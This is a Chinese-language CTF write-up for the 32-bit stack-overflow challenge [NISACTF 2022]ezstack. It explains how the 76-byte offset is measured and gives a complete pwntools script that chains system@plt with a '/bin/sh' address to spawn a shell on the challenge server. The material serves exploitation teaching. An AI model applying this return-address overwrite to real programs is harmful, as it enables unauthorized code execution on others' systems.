0%

比较详细的wp

2025-10-21 14:25By
ezhpry
栈溢出ret2textret2libc

Problem: [NISACTF 2022]ezstack

思路

  • 解题大致思路

checksec

NSSIMAGE
可以发现是32位,小端序。
NSSIMAGE
shell函数存在溢出,并且调用了system函数。

测量

测量一下溢出大小
NSSIMAGE
先使用gdb调试
NSSIMAGE
复制作为payload发送
NSSIMAGE
程序在ret时崩溃,ret的是个无效的地址。
NSSIMAGE
最终大小是76,其实也不难从ida分析
NSSIMAGE
0x48的buf加上0x4的ebp 刚好是0x4c

溢出

可以考虑把shell的返回地址覆盖为system@plt
NSSIMAGE
需要注意的是,我们最终的目的是执行system("/bin/sh")
所以,先找到/bin/sh字符串的地址,可以使用ROPgadget
NSSIMAGE

由于题目是32位的,我们想要把/bin/sh传递给system,就需要注意。
覆盖的依次是
shell的返回地址(system)-> system的返回地址(随便来一个 但是要是4字节 p32(0)) -> system的参数(/bin/sh)
之所以如此,是因为32位和64位的栈帧布局、参数传递和调用约定有所不同,此处不再赘述。

方法不唯一,只列举了一种。

EXP

from pwn import *
context(os="linux",arch="i386",log_level="debug")

def connect(server):
    hp=server
    hp_list=hp.split(':')
    return remote(hp_list[0],hp_list[1])

r=connect('node5.anna.nssctf.cn:27397')
# r=process('./ezstack')

# gdb.attach(r)
sh=0x0804a024
system=0x8048390
payload=b'a'*76+p32(system)+p32(0)+p32(sh)
r.recvline()
r.sendline(payload)
r.interactive()
还没有人赞赏,快来当第一个赞赏的人吧!
  
© 著作权归作者所有

加载中...

加载失败
广告
×
评论区
添加新评论